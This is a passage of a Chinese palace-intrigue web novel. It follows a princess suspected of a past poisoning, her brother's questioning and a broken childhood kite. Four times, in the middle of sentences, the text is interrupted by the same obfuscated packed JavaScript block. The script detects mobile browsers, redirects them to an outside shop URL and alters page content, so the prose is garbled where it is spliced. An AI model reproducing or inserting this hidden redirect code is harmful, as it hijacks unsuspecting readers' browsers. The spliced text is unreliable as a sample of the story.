“臣弟不敢。”虞静循微微欠身,却不见有何畏惧,沉郁的目光缓缓越过虞静延,移向他身后。 他定定望着一处:“前段时日刑部接了一桩投毒案,受害者身中乌砂,最终救治无用而死,听了这件事,我便又回想起五年前自己在鬼门关走的那一遭,也是因为乌砂这味毒药。三妹一出手便是剧毒,果真是一点余地都不留。” 马车中,虞静央放在裙上的手指蓦地一紧,虞静延则脸色微沉:“当年的事她已然知错,也付出了代价。” 朝堂形势风云变幻,昔日亲近的兄弟情谊也变得单薄,成了势力倾轧中无法握手言和的对手。对于下毒这件事,虞静延不是没有对虞静循兄妹尽力补偿过,也曾在朝政上将许多难得的机会拱手相让,但他本就心中有疑,加之有人步步紧逼,动辄就要行赶尽杀绝之事,他纵有再多的愧疚,久而久之也快要被消磨尽了。 虞静循的神情也阴沉下来:“代价?你们一母同胞,自然说得轻巧。在你眼里,她远嫁五年耗费的光阴已经抵得上我和四妹两条人命,可我只愿她永远不要回来,最好是死在南江。” 他话语偏激,却有一点说对了。凡人总有亲厚之分,虞静延是虞静央的亲哥哥,怎能忍受有人在他面前对自己的妹妹说出如此极端的诅咒,于是眸色彻底冷了下去:“住口!” “怎么,皇兄这就急了?是了,你只看重她一个人,什么时候在意过我和四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210685|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹。”虞静循分毫不惧,向车窗逼近一步,与虞静延对峙:“别说她现在不在这里,就算在,我也依旧会直言不讳的。她的手段狠辣,惹恼了,难道还要再给我下一次毒吗?” 虞静延眸中含着不加掩饰的愠怒,正欲说什么,一侧手臂忽然被人隔着衣袖抓住,是虞静央。她苍白着脸色,手指稍稍用力作无声的阻拦。 哥哥,快走。 四下无人,虞静延目光沉了又沉,终是听了她的,一手撂下车帘。 “当年的事她有错,我不会替她开脱,你心中不满,但现在也该扯平了。镜玉坊刺客的事,我不想告到崇宁宫去,免得所有人都难看。”他冷冷扔下一句话。 车夫会意,忙重新拉紧马缰出发。虞静循留在原地,望着马车渐渐远去的影子,脸色阴沉。 …… 车轮碾过宽敞的宫道,很是平稳。车中,虞静央黯黯低垂着眼,许久没有说话。 明明都是要好的手足,长大后却撕破脸皮闹成这样,彼此怨恨难以罢休。虞静延知她情绪不佳,偏偏源头上的那件事是她造下的孽,想安慰都不知该怎样安慰。 如今,虞静循几次三番旧事重提说一些锥心之语,还生出杀心差使刺客,他们除了暗暗记在心里做一个令人忌惮的把柄,甚至都难以堂而皇之地告发和开罪。就连那次虞静澜在北桦林扎马想要害她,如果不是萧绍当着众人的面揭发,恐怕父皇也只会小惩大诫。 思及此,虞静延一叹,道:“既然矛盾在前,又难以调和,以后就离他们远点,也不要独自外出,身边跟着侍卫。” 虞静央点点头,但好心情终究是被方才的小插曲毁了。她心中一团乱麻,却不愿被发现,侧过头掀起车帘佯装看外面的风景。 马车途径沿路宫殿,窗外的楼阁檐角渐渐后退,虞静央双眼放空,突然身后传来一声:“虞静央。” 她回神,茫然回过头来,见兄长不知何时唇线紧抿,几近凛冽的眼神盯着她:“玉京一向少见乌砂这种毒药,你当时是从哪里得来的?” 虞静央脸色恢复不久,现在又骤然发白。兄长突然这样问,肯定是又对那件事的真相起了疑心。 当时乌砂是从姜氏名下的药铺搜出来的,重回玉京后,虞静央曾托林岳青暗中摸探过,试图从这一处重新调查,然而结果一无所获,多半是早被人处理干净了,所以根本无从证明她的清白。 虞静央逼自己镇定下来,努力平稳着语气:“只要想要,总找得到门路,我那时鬼迷心窍,是在一个行脚商人手里买的。” “那个商人现在何处?” “买到乌砂后,我就再也没有见过他了。” 虞静延锐利的目光紧锁着她:“你是怎么认识的他,在哪里和他碰的头,又花了多少钱?” “我……”这些细节的东西,怎么可能面不改色地一口气编出来,虞静央长睫不由自主颤了两下,而后别开眼睛:“我不记得了——” “你撒谎。” 她的话被虞静延斩钉截铁地打断。到这一刻,他终于从她身上抓出了破绽。 45. 纸鸢 虞静延的一双黑眸被沉怒填满:“你忘了吧?五年前我问你乌砂的来历,你根本不是这样答的。” 事情刚刚发生的时候,他一遍一遍逼问她,她说是在京郊的地下黑市买到的,可后来他派人查遍了那处黑市,甚至一锅端了其中所有见不得光的交易点,都没有找到一星半点有关乌砂的痕迹。 像毒药来历这样重要的事,她前后给出的答案却大相径庭,甚至根本回想不起当年是怎样对他说的。如此,难道还不足以证明这些都是她捏造的吗! 虞静延胸膛起伏,埋藏在心底多年的疑心被惊动,再度强势地破土发芽。那个南江储君究竟有多大的魅力,能让她见一面就放下了青梅竹马的继淮,为一个明知通向虎穴狼窝的和亲机会挤破了头,冲动狠毒到不惜对自己的兄弟姐妹痛下杀手! 这不知所谓的理由动机,明明拙劣到不能再拙劣,明明他都怀疑过,明明不信,当初却还是那样放她走了,没把她关起来一个字一个字地问清楚! 如果真像他心中所想的那样,那她到底是又是为何会自愿背负下毒的罪名,又为何会主动请往南江? 他们兄妹亲厚,她却对他这个亲哥哥都缄口不言,坚持要独自咽下一切苦痛。思绪停在这里,虞静延心中只剩下一个念头——背后实情牵扯到他,倘若她不屈服,造成的后果就会对他不利。 那么……又是什么人她得罪不起,在要挟她屈服? 虞静央心下大乱,下意识向后缩,被虞静延扣住手臂。 他盯着她,一字一句道:“逃避解决不了问题,你一味想着遮掩,更让我怀疑有人逼迫你,而且那个人你不能忤逆,我也不能。” 虞静央一震,失声道:“兄长!” 隐含深意的话语里,直指的矛头却昭然若揭。他们两个一个是皇子,一个是公主,单论地位背景,这世上有几人能比他们尊贵? 连他们都不敢违抗的人,不就只有…… 这种猜测乃是大不敬,虞静央生怕外面有人听见,慌忙探头向外张望,虞静延却依旧定定看着她:“如果不是父皇,那就是关皇后。不管是谁,你一定是逼不得已受到了胁迫。” 今日的虞静延早已不同于五年前,那时他羽翼未丰,心智亦不够成熟,竟真被从小相依为命的妹妹糊弄了过去,现在他坐在她面前,盯着她细微的神情举动才发现破绽百出。他后知后觉发现,那所谓的隐情其实一点也不难猜。 葬送妹妹的五载年华的帮凶,何尝没有他的一份? 这个念头升起的同时,虞静延的心好像被人狠狠捏紧了,但他还没问清楚,于是忍着不适,继续道:“现在,诚实地告诉我,当年究竟是怎么回事?” 从回来开始,她还从未经历过如此强势的逼问,而四处空间狭小,她避无可避。虞静央呼吸不由自主急促起来,无助的目光僵在一处,只看得见自己的裙角。 这里没有父皇的眼线,就算她把当年的事全部和盘托出,也不会有人知道,可过去这么久,她已经很难再像从前一样全身心地依赖一个人,即使是自己的兄长。 她害怕,害怕一时冲动就害自己失去留在大齐的机会,另一方面,她也担心虞静延的安危。 虞静央依旧沉默着。她不能说,却不知神情早已暴露所思所想,分明藏着挣扎和顾忌。虞静延就那样静静等待着,直到马车速度变缓,他依旧没有等到回音,心中却渐渐有了数。 他想着:别再逼她了。到了如今,就算她仍不肯亲口说出来,他也能领会一多半了。 “我明白了。”虞静延声音微哑。 他不知她受到了谁的威胁,亦不知在南江遭受了怎样的苦难,却想到了一件事。这五年间,在她满心委屈无处倾诉,望着月亮垂泪想家的时候,他却一切如旧地安享荣华安稳,在那些人提起往事时道一句“她太不懂事”。 虞静央看不到的地方,虞静延偏过头,眼眶悄然热了。 --- 晋王府在行宫的住处叫作琼玉宫,当萧绍带着新收到的探子情报过来的时候,乐安正在外院花园里,由侍女小厮簇拥着放风筝。 小女孩笑得纯真又灿烂,眼睛都弯成了一双月牙,手里拉着风筝线奔跑。看见这副无忧无虑的场景,萧绍不由柔和下来,正欲抬步走进花园,听见乐安欢快的叫声:“姑母快看,我的比你高!” 萧绍已然跨出去的脚步顿住了,侧头一望,才发现不远处花丛中还藏着一个杏黄色衣裙的身影。女子衣着轻便,头上的珠玉流苏提前摘去了大部分,墨云般的青丝发髻随着小跑的动作轻晃,手中同样拽着一根细线。 他抬眼望天,见头顶苍穹碧色如洗,一片澄空里,两只纸鸢相映成趣,随着徐缓的微风错落飞舞,其中飞得较低的那只看上去有些陈旧了。 不是蝴蝶或朱雀的形状,与时兴的精致样式差了十万八千里,是只画得很粗糙的金腰燕。 萧绍怔然,记忆不由自主地被唤回了过去。 …… 公主府。 桌案上放着好不容易拧好的铜丝和细线,虞静央趴在旁边画燕子,画了好几幅都不满意,气呼呼地把笔扔在纸上:“做纸鸢也太难了,我不做了!” 于是萧绍一进来,看到的就是小公主拉着脸气急败坏的模样。他不由失笑,走到她身边瞧见纸上那只四不像的燕子,于是更加忍俊不禁了。 “你还笑我!”虞静央怒道。 萧绍忙把笑容藏好,轻咳一声,一本正经道:“我笑是笑你可爱,你哥哥可是会真嘲笑你的。他说你做不出风筝,就这么放弃,不是遂了他的愿?” 虞静央不满地撅着嘴,萧绍趁热打铁,继续好言好语:“你瞧,其他的东西不是都做好了吗?阿绥这么心灵手巧,不过是一只燕子,只要多试几次,如何能画不好?” 心气高的公主殿下最是个吃软不吃硬的,被他这样鼓励不由松动了,委屈倾诉道:“燕子真的很难画,我画了很多次都难看……” 连凤凰牡丹都能画好,谁知会被一只燕子给难倒。萧绍好气又好笑,无奈哄道:“再试最后一次,好不好?我和你一起画。” 他把蘸好墨的画笔重新拿给她,随后靠近握住她手。交叠的手指控制着细细的笔尖,小心翼翼在纸上下笔,逐渐勾勒出一只金腰燕的轮廓。 被萧绍圈在怀里,虞静央心里的烦躁奇异地平复了下去,看见纸上那只终于好看许多的燕子,心情也好了起来。 想起方才的满腔怒气,她不禁羞赧,别别扭扭拽着他袖口,小声说:“我怕我粘不好,我们画的这只燕子就毁了。” 听着她闷闷的声音,萧绍心里软成一团,安抚地捏捏她指节:“我就在这里,你做坏一只,我们就重画一只。” …… 乐安正玩在兴头上,无意一瞥就看见萧绍立在门口,兴高采烈地呼唤:“萧叔父,来和我们一起玩呀!” 她这样一喊,假山后的虞静央也发现了他,下意识回头望。然而风筝飞在天上离不开半点关注,片刻走神间,虞静央的那只纸鸢在空中晃动,险些就要跌下来。 乐安看不出大人之间的情绪涌动,现在满心都在玩上,见状最是着急:“姑母别走神,要掉下来了!” 虞静央反应过来,强行忽略自己发烫的双颊,忙收紧手中线。奈何花园里空间有限,不知不觉她已经走到围墙边缘,前方没有路,风筝便也飞不远了。 她试图换个方向走,于是拽着线往回拉,可天公不作美,突然袭来一阵强烈的风,原本平稳高飞的燕子风筝陡然脱了线,摇摇晃晃坠落下来,最后挂在了花园角落一棵十分高大的桂花树上。 乐安风风火火跑了过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214197|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,苦恼道:“好高的树,这该怎么拿下来?” 虞静央也想不出办法,这棵树本就生得高,风筝还挂在树冠上,她连仰头望都困难,更别说取下来。 话语间,已经有小厮搬来了梯子凳子,张罗着爬上去为主子拿风筝,可惜都不够高,又有身手灵活一些的想直接爬上树,最后又跌了下来。 如果是只普通纸鸢也罢,但挂在树上的这只是宣城公主少年时亲手所做,平时一直收在库房里束之高阁,虽然不像外面卖的那样精致好看,但连晋王殿下都宝贝得很,看宣城公主现在的脸色,应该也是格外珍惜的。 众人围在树下一筹莫展,萧绍立在远一点的位置,将他们的模样尽收眼底。 轻飘飘的纸鸢陷进茂密的枝叶中,只能看见半个轮廓,小厮们如何努力都触不到,更别说拿出来。虞静央掩去微黯的神色,也不欲再为难人:“罢了。” 许多年前的东西,到了该走的时候,想留也留不住。 她转身欲离开,身后却来了一人,险些被她撞进怀里。虞静央急急停下步子,扶住身边的晚棠才稳住身形,一抬头,竟发现是萧绍。 “你……”虞静央语塞。 萧绍移开目光,越过她走到桂花树下,对小厮道:“拿把剑来。” 小厮忙去取了来,众人不知他准备怎么做,都向后退避几步。萧绍抽出剑,旋即飞身拔高数尺,脚踩在高大的围墙边沿,目光紧锁在树上某处,手腕一动,剑刃便瞄准目标飞了出去—— “唰唰”两声响,树杈连着枝叶被隔断,卡在中间的纸鸢应声而落。 “萧叔父厉害!”乐安最高兴,第一个跑上前去,不过捡起纸鸢,刚刚还开心的脸上又烦闷起来:“啊,怎么破了!” 虞静央从她手里接了过来,只见风筝表面早已被尖锐的树枝划破,原本牢固的纸面翻折起来,上面横亘着一条狰狞的裂口,栩栩如生的金腰燕也变得面目全非了。 这样大的口子,就算被修补好也会漏风,飞不起来了。 虞静央静静端详着,指尖在破口处摩挲。直到被乐安拉住衣角,她回过神,挤出个笑来:“姑母没事。” 不过是一只做得不好的风筝而已,坏就坏了。她这样安慰自己,无意看了一眼对面的萧绍,却见他也正望着自己,眸子里藏着她看不懂的情绪。 虞静央睫毛颤了颤,愈发感到心烦意乱,把纸鸢交给小厮:“扔了吧。” “慢着。”萧绍叫住小厮,却是朝虞静央走近两步,盯着她:“这是殿下少时所做之物,就这样扔了岂不可惜?” “它已经不能飞了,留着也没有价值。”虞静央不看他,只回道。 萧绍黑眸微沉,莫名一阵躁郁:“风筝如此,那人呢?在殿下眼里,一个人如果没了价值,是不是也可以随意丢弃?” 其实他自己也不懂自己现在在说什么。明明刚才他还是冷静的,这时候却鬼迷心窍般执意要钻这个牛角尖,在他人耳朵里就有咄咄逼人的感觉了。 虞静央听后果然脸色变了,倔强的眼神里含着怨愤。他又来质问她,可有谁知道她的苦衷! 她忍着鼻酸,冷冷道:“萧将军这样看我,那我也无话可说。” 萧绍突然逼近一步,压抑的声音只有两人能听到:“你从不解释,怎么就知道我不信?” 虞静央看着他眼睛,自嘲般笑了,笑里含着苦涩。 要是能解释,她怎会不说?现在她只想留在大齐,只有一切尘埃落定,她才有证明清白,为自己摆脱冤屈的机会。 他愿意帮她,却不要回报,因为她身上已经没有了他想要的东西,出手只是念着昔日情分。既然如此,当年两人之间的误会也不再重要了。 虞静央眼睛里泛起水光,却不闪不避对上他的视线,倔强道:“我解释不了。” 46. 寒锋 月出云来,庭燎灯火在风中轻摇,直到用过晚膳,虞静央告辞兄嫂,就回自己的住处去了。天色已晚,但书房的灯烛还亮着,虞静延看完了萧绍拿来的信,面沉如水。 陇西地带用于开采的矿地星罗棋布,在那里当差谋生的百姓多不胜数,因此鱼龙混杂。他们已知姜家名下经营的矿业出了异常,却迟迟查不出有问题的人在何处,一筹莫展。 从玉京派去的他们的人伪装成挖矿的壮丁混进矿地,随着矿石开采暗中排查,发现有几处比较偏远,靠近边疆的小矿坑已经空了。 “在陇西这种不缺矿地的地方,矿坑越小越偏远,本该越不受关注,现在却是反着来,难道不奇怪?”萧绍道。 虞静延幼时还在陇西生活过几年,岂会不知这一道理,而且非但如此,有另一点更令他起疑。先前陇西矿地连年盛产,直至最早的几个大型矿坑储量告急,再也经不起声势浩荡的大开采,后来朝廷下令扩大开采面积,当地这才把目光转向周边的其他矿坑,开采规模也有所缩小。 和缓开矿的规矩延续至今,按理说,那几个靠近边疆的小矿坑应该离储量枯竭还很远,现在却提前被挖空了。 “你觉得姜家真会如此放肆?”虞静延眉头紧蹙。可陇西的矿地均已被姜家垄断,根本不会是别人。 萧绍摇头,意有所指道:“如果姜家还是原本的姜家,他们就不会。” 现在的陇西姜家已经变质了,他们必须把里面的蛀虫揪出来,起码要赶在其他人之前。 想起线人传回的情报,萧绍眉目微沉:“除了我们,还有另一拨人在查陇西。” 虞静延闻言立刻抬起眼。萧绍屏退众人,从袖中拿出了手下在陇西边境秘密截获的信物——半块铜符,上面刻着的纹样被刀戟划痕刮得凌乱,但仍能隐约看出大致,是蝙蝠青蟒纹。 吴王府。 “他是想先下手为强,寻找机会向我们发难。” 先前宫宴上黎娘子“无意”说起吴州向外郡暗输矿产,不说其居心如何,但确实已经引起了圣上的疑心。朝堂风波未平,虞静循自身尚且难以保全,还有心思潜伏在陇西挑他们的错处,还真是仇怨深重。 今日午后三人偶遇,结局又是不欢而散,萧绍已经听说了。想起先前的刺客、惊马,还有虞静循说过的那番意味不明的话语,他心中满是疑云,独自查探却又一无所获。若晋王与吴王关系不佳是因为朝堂势力的博弈,纵使有争斗,也不该把两个妹妹深深卷进来。而今从他的角度看,吴王和四公主对虞静央的敌意尤其重,甚至超越了对虞静延。 这与他们年少时在一起玩耍打闹的场景,完全不一样。 萧绍思虑半晌,终于还是把藏在心里的怀疑问出了口,斟酌着道:“吴王和四公主,是不是和她有过过节?” 他口中的“她”是谁不言自明,虞静延心如明镜。然而,不论令他们反目的下毒案是真是假,这都是皇室不可告人的秘辛,即便如萧绍这种与皇家亲近到不能再亲近的近臣,在天子密令里也是不允许知情的。 在真相尚未大白之前,他守口如瓶,是不违抗皇帝圣旨,亦是维护亲妹妹的名誉。 虞静延沉默许久,最后只说:“继淮,你别问了。” 能让虞静延都只有闭口不谈的事,一定不简单,萧绍无法强求,但似乎隐约猜到了些许,又联想到白日花园里虞静央看似逃避,但明显藏有深意的一句“我解释不了”,心中的异样感更是难以消去。 他退而求其次:“是什么时候的事?” 风一过,桌边烛火无助地晃了两下。虞静延望着他,黑眸里掩藏着复杂的情绪。 “五年前。” --- 半月过去,四处多是安稳祥和,众人在行宫的时间也所剩无几,将要启程返回玉京。 这天夜半时分,庭院里寂静无人,偶尔有蟋蟀的叫声。忽而响起两声格外清脆的鸟叫,虞静央睡得浅,几乎是鸟鸣声传进耳朵的一刹那,她就睁开了眼睛。 床榻旁的窗户外传来叩叩声,有人低低唤了一声:“殿下,是我。” 听见声音后,虞静央立刻点起蜡烛,起身打开窗,果然见晚梨站在外面。 好几日不见她,虞静央露出笑来,放轻声音以免被人发现:“怎么这时候来了?” “明日我就要启程离开了,特来向殿下告别。” “怎么这么着急?”虞静央的笑意滞住,朝廷分明没有传出梨花寨使者要离开的消息。 晚梨翘起嘴角,安抚地握住她手:“现下会盟已经结束,边疆形势不稳,梨花寨位置特殊,还需要回去斡旋。” 正事当前,纵然不舍也别无他法。虞静央很快接受了这个事实,也回握她的手,叮嘱道:“那你一路小心。” 晚梨点头,从袖中拿出一个小而精致的鼻烟壶。手指对着壶底的机关一按,竟从壶口处弹出一片薄如蝉翼的刀片。 “殿下,这个你拿着。”她收起刀片,交到虞静央手里,“这种暗器是我手下的人才会做的,从来没人见过,不会被怀疑。” 原来这物什只是做成了鼻烟壶的样子,实际却是一个暗藏机关的防身小刀。虞静央心中一暖,接过握在手里:“好。” 两人又说了几句话,但所处环境实在不宜久留。临走前,晚梨认真嘱咐道:“殿下身边没有助手,如有要紧事,一定随时给我传信,还有……小心南江人。” 南江使团不日将要启程至大齐,而且是由郁沧亲率使者前来,此等架势,明摆着就是冲虞静央而来,而虞帝现在的态度又暧昧不清,指不定何时就会动摇。这种危机四伏的环境里,即使有晋王等人在,她也不能放心在自己看不到的情况下,让虞静央面对郁沧和南江使团。 提起南江人,虞静央不可避免地一僵,旋即脸色恢复如常,柔声道:“放心吧。” 晚梨的身影消失在夜色中。合上窗户,虞静央回到床前,目光回到手心里的鼻烟壶身上,对准机关一按,刀刃瞬间弹了出来。 在南江最艰难的时候,连随意一件稍微锋利点的簪钗都会被人收走,更别说防身用的匕首短刀。这种把危险藏于无害之下的暗器,如果当时也有一个类似的物件,兴许她就不会那样任人宰割了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232720|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>- “王后娘娘让储妃学规矩,自是希望储妃早日习惯我南江的礼数。嫁出去的女儿泼出去的水,我们不认齐国的那些规矩,还望储妃趁早忘记,做好南江妇。” 她跪在坚硬的砖地上,被烈日晒得唇色苍白,艰难说道:“嬷嬷,我有点头晕,能不能……” 教习女官满面冷漠:“储妃连这点难都受不住,日后跪宗庙、拜皇陵时又该如何?” 规训学童的竹尺“啪”地一声抽在她后腰,她险些支撑不住摇摇欲坠的身体,心急如焚求情的晚棠也被侍卫紧紧拦下。 被称为王后的中年女子坐在前殿从容饮茶,仿佛根本没有看见她的虚弱。外殿传来宫人的请安声,一角金线绣蟒的衣袍进入她的视线,锦靴踏过石砖,从她的手指旁边停也没停地经过。 郁沧上前向王后行礼,起身后方看了一眼外面,道:“这学规矩也急不得,不如就先让她回去,免得在此晕倒冲撞了母后。” “这些是每个南江女子出嫁后都要经受的,她虽出身齐国,但也成了我南江妇,自然不能有例外。” 王后不为所动,淡淡向外瞥了一眼:“她身子这样柔弱,吃不得苦,可见在齐国是娇生惯养长大,未必是个好生养的。如今大选在即,晚些时候我差人把名册给你送过去,你若有喜欢的就留下。” 郁沧一笑,顺从道:“但凭母后做主。” - “这里有人手脚不干净,竟敢偷盗我的耳环,来人,给我进去搜!” 花红柳绿的身影挤满在院门前,气势汹汹地支使粗使下人冲了进去。没人理会她的喝斥阻拦,混乱中,她急急叫晚梨去向储君报信,却被一群早有准备的侍卫团团围住,无论如何也不能突破那坚实的人墙。 她再也不能忍耐,厉声道:“你们别忘了本宫才是储妃,是这座王储府的女主人!身为妾室,胆敢纠集下人搜主母的院落,你们这是以下犯上!” 为首的侧妃是府上最为得宠的,听后非但不惧,还嗤之以鼻:“储妃娘娘,你向殿下告了那么多次状,他什么时候理会过,为你做过主?区区一个战败国的公主,都已经被推出来和亲了,还在这儿装什么高贵!” 侧妃身后还跟着几个妾室,见状娇笑着应和:“云姐姐说得是,何况外面都说储妃姐姐与昔日情郎藕断丝连,难舍难分,殿下都因此颜面扫地,哪里还会愿意见姐姐?” 花草零落,房门被一个一个撞开。原本整洁安宁的院子顷刻间一片狼藉。 - 当日的场景犹在眼前,而她经历的苦难却远远不止于此。这些,不过是冰山一角。 夜深人静,虞静央坐在床前,目不转睛地盯着手中锋利的刀片。 她没那么善良,做不到什么以德报怨,不计前嫌。比起迟来的愧疚或求饶,她更想用这把刀扎进所有人的脖子。 削铁如泥的刀尖在烛火映照下泛着骇人的寒光,虞静央静静端详,半晌,眼中闪过压抑已久的戾气。 南江人,最好都不要过来惹她。 否则,她不介意再像几年前那样,把不长眼的人捅成筛子。 47. 攘羊 圣驾回朝,随行的众人也离开奉安行宫,浩浩荡荡回到玉京。宫宴上,虞静央神色如常,“鼻烟壶”安然放在衣袖中,就算偶尔拿出来也不会惹人注目。 她放心下来,不得不说,有防身之物在手总会令人心安一点,仿佛命运也安安稳稳握在了自己手上。 宴散后,虞静央回到自己的公主府。下人纷纷行礼迎接主子归来,她免了众人的礼,视线无意一扫,却发现人群中恭候的多了几个自己不认识的新面孔。 她皱眉,询问府上的管事柳素。柳素笑着答:“殿下有所不知,她们都是宫里送来的人。这个月我们府上报用度开销,陛下得知公主府下人人数不足规制,特意在宫中挑选了几个得力能干的来伺候殿下。” 说罢,柳素呵斥新来的侍女:“还不过来见过殿下!” 几个侍女低眉顺眼走出人群,向虞静央见礼,倒是都像良善老实的。虞静央看了几眼,但心里的戒备也不是那么容易能消除的。 她在刚回宫的时候就已经向父皇说过府上下人足够差使,只想保留旧人图一份清净,父皇也同意了,为何这次又毫无来由地给她送侍女来。何况父皇日理万机,对子女府上庶务这种鸡毛蒜皮的琐事不上心,也就只有皇后这位“嫡母”喜欢插手这些,好在外博一个厚待小辈的贤名。 这几人看着安分,未必不是关皇后借父皇之口一手安排的眼线。 虞静央面上不显露,也没说什么,离开前对柳素道:“我记得这次父皇的赏赐里有上好的燕窝,让厨房给我熬碗燕窝粥吧。” “是。”柳素忙应道。 交代完,虞静央往主院走,一边与晚棠说话:“已经月末了,宣城是不是送来新的文书了?” 晚棠不疑有他:“正是,使官已经送来,稍后奴婢就去取。” “也好,宣城多年不在我手里,正好让我细细检查一番,免得出什么岔子。”虞静央颇为忧心。 …… 绥欢院。问候声自外面响起,虞静央让人进来,柳素端着一个青瓷小碗,笑道:“殿下,燕窝粥来了。” 虞静央正坐在妆台前卸钗环,望了一眼道:“放在桌上吧。” 柳素忙应了声,走到案前搁下瓷碗,身形挡住了其他人的视线。 书案上除了往常的笔墨纸砚和一小瓶插花,还放着一叠奏疏样式的文册,毫无防备地摊开着,柳素暗暗瞥了一眼,欲向主子见礼退下,却在后退时不经意踩上了自己的裙角。 “啊!”她惊呼,就要倒下时慌忙想扶住桌沿,然而探手时没轻重,直接打翻了桌上的满满一碗燕窝粥。随着“啪——”地一声,瓷碗滚到地上四分五裂,滚烫的粥液顺势倾洒,泼得满地满桌都是,也殃及了一旁整齐摆放的文书。 柳素顿时面色惨白,腿脚一软跪下:“奴婢该死!奴婢该死!请殿下责罚!” 晚棠几步奔过来,见状也惊慌不已:“这是宣城送来的文书,殿下看都还没看一眼!柳素姑姑,你怎得如此疏忽大意!” “都是奴婢的错!奴婢该死!”柳素不住磕头。 整整一碗燕窝粥全都扣在上面,文书很快就完全洇湿,就算被及时拿了起来,上面的字迹也已经变得模糊不清。虞静央和晚棠手忙脚乱擦拭半天,终究是做了无用功。 晚棠:“殿下,使官送来的文书仅此一份,这……” 虞静央脸色发白,试图分辨纸上被染成墨团的字形,片刻过去终是毫无收获。 她放到一边,忧愁地叹了口气:“算了。我不通政务,本就只是想着拿来看看,八成也看不出什么名堂,不过是平白浪费时间罢了。你退下吧。” “是。”柳素被赦免,自是感恩戴德,战战兢兢地把书案收拾干净。 平稳的脚步声消失在门外,再也没有过来。虞静央眼露嘲讽:“还真被我猜对了。” 她掀开床榻前的帷幔,从叠起的锦被缝隙里抽出一本硬皮书册,正是方才晚棠悄悄拿回来的,真正的封地文书。 晚棠迟疑:“殿下怀疑柳素?这十几年她都在府上伺候,也是殿下身边的老人了,本不该出什么问题……” “老人?”虞静央轻嗤。知人知面不知心,就算是老人,也不能凭借多年情分就脱离嫌疑,赵嬷嬷不就是前车之鉴吗? 一朝被蛇咬,十年怕井绳。现在除了晚棠和晚梨,她很难再对别人生出全然的信赖之心。 虞静央打开文书,细细阅过里面的每一个字。上次查阅封地文书已经是五年前的事了,与当年相差无二的文牒拿在手里,这种感觉还真是既熟悉又陌生。 见她神情严肃,不似平时放松,晚棠脑中灵光一闪,压低声音道:“殿下,难道宣城被人动了手脚?” 虞静央不置可否,依旧一个字一个字地看下去,第一遍没有发现什么大的异常,又重新看第二遍。这只是她的推测,若柳素当真受人收买成了奸细,胆敢冒着被重罚的风险毁坏封地文书,恐怕就是这其中有不想让她发现的问题。 现在宣城重新回到她手里,但凡出现任何差错都是她的责任。她必须把存在的风险排查干净,不能成了别人的替罪羊。 虞静央的目光游移着,蓦地停在一处。据她的回忆,有些方面的花销数字不应该如此高昂,而且宣城所居百姓的人数并不见有太多增加,为何报回来的米粮消耗却比从前多了一倍? 硝石,铁器,粮草。 虞静央目光锁定在文书上的几行字。不知过了多久,烛火噼啪一响,她勾起唇角,心头恍然变得一片澄明。 原来如此。 --- 乾安宫,冰盆静置大殿两侧,麒麟香炉溢出云气氤氲。太常奉命入宫禀报祭祀之事,在龙椅近前,还立着个容仪端秀的青年臣子,身着博士官袍,清隽如芝兰玉树。 殿外传来通报声,身披 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266405|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戎装的将士即刻入内,将快马加鞭送来的文书上呈天听。原是南江使团已经启程出发,直向玉京而来,给大齐皇帝的信件于今日送抵朝廷,个中语句委婉,姿态远比从前更低,但字里行间皆不离婚盟之事。 明里暗里说得好听,不过就是想要虞静央回南江。虞帝看得心烦意乱,问身边的年轻人:“谨之,依你之见,朕究竟该不该送央儿回去?” 苏昀没有立马表达自己的看法,而是缓声道:“回陛下,微臣曾听圣人之言,‘父为子隐,子为父隐,直在其中矣。’伦理之亲甚于君臣之义,陛下与三殿下既为君臣,也是伦理血亲。”[1] 虞帝眉头不展:“父子之隐不求为直,乃天理人情之至,可朕并非攘羊之人,而是一国之君。” 苏昀捕捉到皇帝的意思,顺着试探道:“陛下希望公主留在玉京,只要旨意一下,南江人也不敢公然违抗。” 